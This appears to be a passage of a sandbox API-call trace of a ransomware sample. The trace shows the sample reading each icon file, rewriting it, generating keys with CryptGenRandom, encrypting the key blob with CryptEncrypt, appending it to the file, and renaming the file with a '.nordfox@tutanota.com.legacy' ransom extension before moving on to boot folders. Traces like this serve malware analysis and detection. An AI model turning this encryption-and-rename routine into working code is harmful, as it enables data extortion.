hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0106.586] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate5.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0106.587] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0106.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0106.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0106.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0106.587] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0106.587] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0106.587] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico", dwFileAttributes=0x80) returned 1 [0106.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0106.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.588] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0106.588] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.588] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.588] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.588] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.589] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.590] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0106.592] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0106.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.592] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.593] WriteFile (in: hFile=0x4f0, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.593] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.593] CloseHandle (hObject=0x4f0) returned 1 [0106.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0106.593] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0106.593] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate4.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0106.626] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0106.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0106.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0106.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0106.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0106.626] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0106.626] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico", dwFileAttributes=0x80) returned 1 [0106.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0106.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0106.627] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.627] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.627] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.628] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.761] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0106.761] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0106.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0106.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0106.762] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0106.762] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0106.762] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0106.762] WriteFile (in: hFile=0x4f0, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0106.762] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0106.763] CloseHandle (hObject=0x4f0) returned 1 [0106.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0106.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0106.763] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate3.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0106.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0106.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0106.767] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0106.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0106.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0106.767] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0106.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0106.767] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0106.767] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico", dwFileAttributes=0x80) returned 1 [0106.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0106.768] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0106.769] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0106.769] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0106.770] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0106.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0106.770] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c1310 [0106.770] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0107.298] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.298] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1310*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1310*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0107.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0107.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1310 | out: hHeap=0x520000) returned 1 [0107.299] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0107.299] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0107.299] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0107.299] WriteFile (in: hFile=0x4f0, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0107.299] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0107.299] CloseHandle (hObject=0x4f0) returned 1 [0107.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0107.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0107.300] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate2.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0107.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0107.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0107.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0107.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0107.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0107.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0107.302] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0107.302] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0107.302] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico", dwFileAttributes=0x80) returned 1 [0107.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0107.302] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0107.302] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0107.302] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0107.303] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=894) returned 1 [0107.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x555b90 [0107.303] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x37e) returned 0x5c0f88 [0107.303] ReadFile (in: hFile=0x4f0, lpBuffer=0x555b90, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0107.305] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-894, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.305] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c0f88*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesWritten=0x2e1f9bc*=0x37e, lpOverlapped=0x0) returned 1 [0107.305] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0107.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0107.306] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x37e [0107.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0107.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0107.306] WriteFile (in: hFile=0x4f0, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0107.306] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0107.306] CloseHandle (hObject=0x4f0) returned 1 [0107.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0107.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0107.306] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Rotate1.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0107.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0107.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0107.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0107.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0107.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0107.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0107.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0107.309] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0107.309] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\Print.ico", dwFileAttributes=0x80) returned 1 [0107.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0107.309] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0107.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0107.309] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0107.310] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1150) returned 1 [0107.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c0f88 [0107.310] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x47e) returned 0x5c1410 [0107.310] ReadFile (in: hFile=0x4f0, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0107.311] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.311] WriteFile (in: hFile=0x4f0, lpBuffer=0x5c1410*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1410*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47e, lpOverlapped=0x0) returned 1 [0107.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0107.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1410 | out: hHeap=0x520000) returned 1 [0107.311] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47e [0107.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0107.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0107.312] WriteFile (in: hFile=0x4f0, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0107.312] WriteFile (in: hFile=0x4f0, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0107.312] CloseHandle (hObject=0x4f0) returned 1 [0107.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0107.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0107.312] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\Print.ico.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0107.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2a8 | out: hHeap=0x520000) returned 1 [0107.314] FindFirstFileW (in: lpFileName="\\Boot\\bg-BG\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc1a7e6be, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0b28 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0107.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.314] GetLastError () returned 0x0 [0107.314] SetLastError (dwErrCode=0x0) [0107.314] GetLastError () returned 0x0 [0107.314] SetLastError (dwErrCode=0x0) [0107.314] GetLastError () returned 0x0 [0107.314] SetLastError (dwErrCode=0x0) [0107.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0107.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d2f0 [0107.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0107.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0107.314] RtlAllocateHeap 